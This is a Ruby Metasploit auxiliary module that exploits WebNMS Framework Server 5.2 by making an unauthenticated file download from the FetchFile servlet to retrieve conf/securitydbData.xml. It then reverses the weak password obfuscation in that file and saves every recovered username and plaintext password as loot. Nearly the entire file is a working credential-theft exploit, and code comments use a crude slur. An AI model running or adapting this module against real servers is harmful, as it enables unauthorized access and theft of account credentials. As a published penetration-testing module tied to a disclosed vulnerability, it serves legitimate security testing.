## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'WebNMS Framework Server Credential Disclosure', 'Description' => %q{ This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract all user credentials. The first vulnerability is a unauthenticated file download in the FetchFile servlet, which is used to download the file containing the user credentials. The second vulnerability is that the the passwords in the file are obfuscated with a very weak algorithm which can be easily reversed. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux. }, 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ] ], 'DisclosureDate' => 'Jul 4 2016')) register_options( [ OptPort.new('RPORT', [true, 'The target port', 9090]), OptString.new('TARGETURI', [ true, "WebNMS path", '/']) ], self.class) end def run res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'), 'method' =>'GET', 'vars_get' => { 'fileName' => 'conf/securitydbData.xml' } }) if res && res.code == 200 && res.body.to_s.length > 0 cred_table = Rex::Ui::Text::Table.new( 'Header' => 'WebNMS Login Credentials', 'Indent' => 1, 'Columns' => [ 'Username', 'Password' ] ) print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..." res.body.to_s.each_line { |line| # we need these checks because username and password might appear in any random position in the line if line =~ /username="([\w]*)"/ username = $1 if line =~ /password="([\w]*)"/ password = $1 plaintext_password = super_retarded_deobfuscation(password) cred_table << [ username, plaintext_password ] register_creds(username, plaintext_password) end end } print_line print_line("#{cred_table}") loot_name = 'webnms.creds' loot_type = 'text/csv' loot_filename = 'webnms_login_credentials.csv' loot_desc = 'WebNMS Login Credentials' p = store_loot( loot_name, loot_type, rhost, cred_table.to_csv, loot_filename, loot_desc) print_status "Credentials saved in: #{p}" return end end # Returns the plaintext of a string obfuscated with WebNMS's super retarded obfuscation algorithm. # I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time! def super_retarded_deobfuscation (ciphertext) input = ciphertext input = input.gsub("Z","000") base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a base.push 'I' base += 'J'.upto('Y').to_a answer = '' k = 0 remainder = 0 co = input.length / 6 while k < co part = input[(6 * k),6] partnum = '' startnum = false for i in 0...5 isthere = false pos = 0 until isthere if part[i] == base[pos] isthere = true partnum += pos.to_s if pos == 0 if not startnum answer += "0" end else startnum = true end end pos += 1 end end isthere = false pos = 0 until isthere if part[5] == base[pos] isthere = true remainder = pos end pos += 1 end if partnum.to_s == "00000" if remainder != 0 tempo = remainder.to_s temp1 = answer[0..(tempo.length)] answer = temp1 + tempo end else answer += (partnum.to_i * 60 + remainder).to_s end k += 1 end if input.length % 6 != 0 ending = input[(6*k)..(input.length)] partnum = '' if ending.length > 1 i = 0 startnum = false for i in 0..(ending.length - 2) isthere = false pos = 0 until isthere if ending[i] == base[pos] isthere = true partnum += pos.to_s if pos == 0 if not startnum answer += "0" end else startnum = true end end pos += 1 end end isthere = false pos = 0 until isthere if ending[i+1] == base[pos] isthere = true remainder = pos end pos += 1 end answer += (partnum.to_i * 60 + remainder).to_s else isthere = false pos = 0 until isthere if ending == base[pos] isthere = true remainder = pos end pos += 1 end answer += remainder.to_s end end final = '' for k in 0..((answer.length / 2) - 1) final.insert(0,(answer[2*k,2].to_i + 28).chr) end final end def register_creds(username, password) credential_data = { origin_type: :service, module_fullname: self.fullname, workspace_id: myworkspace_id, private_data: password, private_type: :password, username: username } service_data = { address: rhost, port: rport, service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP'), protocol: 'tcp', workspace_id: myworkspace_id } credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED, workspace_id: myworkspace_id } login_data.merge!(service_data) create_credential_login(login_data) end end